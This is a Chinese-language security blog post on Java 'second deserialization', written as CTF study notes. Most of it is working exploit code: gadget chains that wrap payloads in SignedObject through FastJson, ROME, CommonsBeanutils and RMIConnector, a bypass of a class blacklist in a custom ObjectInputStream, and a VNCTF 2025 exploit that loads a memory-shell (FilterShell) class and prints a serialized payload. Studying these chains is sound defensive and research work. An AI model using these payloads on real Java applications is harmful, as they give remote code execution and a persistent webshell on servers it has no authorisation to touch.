JavaSec 13-浅谈二次反序列化
前言
二次反序列化在近期的比赛中相当常见,几乎到了必考的地步,但依然是被研究烂的东西,顾名思义就是反序列化两次,这里将结合几个题目比如上篇文章中 FastJson 的原生反序列化去学习一下
常见方法
SignedObject
在getObject
方法里面反序列化对象可控,触发readObject
,然后就要寻找如何调用getObject
fastjson调用
先想到了 FastJson 原生反序列化的利用,会自动去遍历调用属性的 get 方法,这里为了简化使用,我们选择了1.48版本之前的一条链子,利用链就是
BadAttributeValueExpException#readObject
JSONArray#toString
SignedObject#getObject
BadAttributeValueExpException#readObject
JSONArray#toString
TemplatesImpl#getOutputProperties
...
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.security.*;
public class Test {
public static SignedObject getSingnedObject(Serializable obj) throws Exception {
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(obj, privateKey, signingEngine);
return signedObject;
}
public static TemplatesImpl getTemplatesImpl(byte[] code) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Util.setFieldValue(templates, "_bytecodes", new byte[][]{code});
Util.setFieldValue(templates, "_name", "name");
Util.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}
public static void main(String[] args) throws Exception {
TemplatesImpl templates = getTemplatesImpl(Util.genPayload("calc"));
JSONArray jsonArray2 = new JSONArray();
jsonArray2.add(templates);
BadAttributeValueExpException badAttributeValueExpException2 = new BadAttributeValueExpException(null);
Util.setFieldValue(badAttributeValueExpException2, "val", jsonArray2);
BadAttributeValueExpException badAttributeValueExpException1 = new BadAttributeValueExpException(null);
JSONArray jsonArray1 = new JSONArray();
SignedObject signedObject = getSingnedObject(badAttributeValueExpException2);
jsonArray1.add(signedObject);
Util.setFieldValue(badAttributeValueExpException1, "val", jsonArray1);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(badAttributeValueExpException1);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
rome调用
ROME反序列链的本质是组件里的ToStringBean::toString
可以调用任意getter方法,在这里只展示比较简单的一条链子
BadAttributeValueExpException#readObject
ToStringBean#toString
TemplatesImpl#getOutputProperties
...
public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = getTemplatesImpl(Util.genPayload("calc"));
ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Util.setFieldValue(badAttributeValueExpException, "val", toStringBean);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(badAttributeValueExpException);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
但是结合 SignedObject 的话,选择这条 Hashtables 触发的 equals 去写,分析过程在前面 CC 文章有写,这里其实就是用两层 table 去分别触发各自的 get
public class Hashtable2Rome {
public static Hashtable getPayload (Class clazz, Object payloadObj) throws Exception{
EqualsBean bean = new EqualsBean(String.class, "r");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy", bean);
map1.put("zZ", payloadObj);
map2.put("zZ", bean);
map2.put("yy", payloadObj);
Hashtable table = new Hashtable();
table.put(map1, "1");
table.put(map2, "2");
Util.setFieldValue(bean, "_beanClass", clazz);
Util.setFieldValue(bean, "_obj", payloadObj);
return table;
}
public static SignedObject getSingnedObject(Serializable obj) throws Exception {
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(obj, privateKey, signingEngine);
return signedObject;
}
public static void main(String[] args) throws Exception{
TemplatesImpl templates = Util.getTemplatesImpl(Util.genPayload("calc"));
Hashtable table1 = getPayload(Templates.class, templates);
SignedObject signedObject = getSingnedObject(table1);
Hashtable table2 = getPayload(SignedObject.class, signedObject);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(table2);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
CB调用
第一层包装一个 SignedObject 去调用 getObject ,第二层再包一个 templates
public static void main(String[] args) throws Exception {
TemplatesImpl templates = Util.getTemplatesImpl(Util.genPayload("calc"));
PriorityQueue queue1 = getpayload(templates, "outputProperties");
SignedObject signedObject = Util.getSingnedObject(queue1);
PriorityQueue queue2 = getpayload(signedObject, "object");
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(queue2);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
public static PriorityQueue<Object> getpayload(Object object, String string) throws Exception {
BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
priorityQueue.add("1");
priorityQueue.add("2");
Util.setFieldValue(beanComparator, "property", string);
Util.setFieldValue(priorityQueue, "queue", new Object[]{object, null});
return priorityQueue;
}
RMIConnector
RMIConnector 是 javax.management 下一个与远程 rmi 连接器的连接类,findRMIServerJRMP 方法里有一个反序列化入口
在 path.startsWith("/stub/") 时候调用
在 connect 方法里当 rmiServer == null 调用
找到一个很符合的构造方法,这里的 null 就是 rmiServer
所以找个地方调用 connect 就行,放到 invokerTransformer
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.util.HashMap;
import java.util.Map;
import static util.Tool.*;
public class CC_RMIConnector {
public static void main(String[] args) throws Exception {
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
setFieldValue(jmxServiceURL, "urlPath", "/stub/base64string");
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, rmiConnector);
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "Poria");
lazyMap.remove(rmiConnector);
setFieldValue(lazyMap,"factory", invokerTransformer);
Util.checkUnserialize(expMap);
}
}
记得替换下 base64String
利用
Fastjson
还记得我们上一篇文章最后给出的 exp 吗,虽然那个可以绕过原生的检测,但是如果我们在入口写一个 InputStream 类,然后另外去加规则,就需要二次反序列化去绕过了
public class MyInputStream extends ObjectInputStream {
private final List<Object> BLACKLIST = Arrays.asList("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter", "com.sun.syndication.feed.impl.ObjectBean", "import com.sun.syndication.feed.impl.ToStringBean");
public MyInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
protected Class<?> resolveClass(ObjectStreamClass cls) throws ClassNotFoundException, IOException {
if (this.BLACKLIST.contains(cls.getName())) {
throw new InvalidClassException("The class " + cls.getName() + " is on the blacklist");
} else {
return super.resolveClass(cls);
}
}
}
这里有个需要注意的问题就是,第一步 BadAttributeValueExpException 没等走到 toString 去调用 signedObject,就会先因为
ObjectInputStream.GetField gf = ois.readFields()
这里去进到 JSONArray 的r esolveclass 检查,然后因为 signedObject 没有无参构造方法导致报错,但是我在最后那再套一层引用 signedObject 就解决了
public static void main(String[] args) throws Exception{
HashMap hashMap = new HashMap();
TemplatesImpl templates = Util.getTemplatesImpl(Util.genPayload("calc"));
//第一次添加为了使得templates变成引用类型从而绕过JsonArray的resolveClass黑名单检测
JSONArray jsonArray2 = new JSONArray();
jsonArray2.add(templates); //此时在handles这个hash表中查到了映射,后续则会以引用形式输出
BadAttributeValueExpException bd2 = new BadAttributeValueExpException(null);
Util.setFieldValue(bd2,"val",jsonArray2);
hashMap.put(templates,bd2);
//二次反序列化
SignedObject signedObject = Util.getSingnedObject(hashMap);
//触发SignedObject#getObject
JSONArray jsonArray1 = new JSONArray();
jsonArray1.add(signedObject);
BadAttributeValueExpException bd1 = new BadAttributeValueExpException(null);
Util.setFieldValue(bd1,"val",jsonArray1);
HashMap hashMap2 = new HashMap();
hashMap2.put(signedObject,bd1);
//验证
byte[] payload = Util.serialize(hashMap2);
ObjectInputStream ois = new MyInputStream(new ByteArrayInputStream(payload)); //再套一层inputstream检查TemplatesImpl,不可用
ois.readObject();
}
VNCTF 2025
绕过限制打内存马,呃具体里面还涉及一个 EventListener 的绕过,下一篇文章再写
public class EXP {
public static byte[] file2ByteArray(String filePath) throws IOException {
InputStream in = new FileInputStream(filePath);
byte[] data = inputStream2ByteArray(in);
in.close();
return data;
}
public static TemplatesImpl getTemplatesImpl(byte[] code) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Util.setFieldValue(templates, "_bytecodes", new byte[][]{code});
Util.setFieldValue(templates, "_name", "name");
Util.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}
public static byte[] inputStream2ByteArray(InputStream in) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
byte[] buffer = new byte[4096];
int n;
while((n = in.read(buffer)) != -1) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
public static EventListenerList getEventListenerList(Object obj) throws Exception {
EventListenerList list = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector)Util.getFieldValue(manager, "edits");
vector.add(obj);
Util.setFieldValue(list, "listenerList", new Object[]{InternalError.class, manager});
return list;
}
public static Object getFastjsonEventListenerList(Object getter) throws Exception {
JSONArray jsonArray0 = new JSONArray();
jsonArray0.add(getter);
EventListenerList eventListenerList0 = getEventListenerList(jsonArray0);
HashMap hashMap0 = new HashMap();
hashMap0.put(getter, eventListenerList0);
return hashMap0;
}
public static SignedObject getSingnedObject(Serializable obj) throws Exception {
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(obj, privateKey, signingEngine);
return signedObject;
}
public static void main(String[] args) throws Exception{
TemplatesImpl templates = getTemplatesImpl(file2ByteArray("D:\\code\\Java\\CTF\\JavaGuide\\target\\classes\\exp\\FilterShell.class"));
Object calc = getFastjsonEventListenerList(templates);
SignedObject singnedObject = getSingnedObject((Serializable) calc);
Object fastjsonEventListenerList = getFastjsonEventListenerList(singnedObject);
Util.printURLEncodedBase64SerializedString(fastjsonEventListenerList);
}
}
参考文章
https://tttang.com/archive/1701/#toc_wrapperconnectionpooldatasource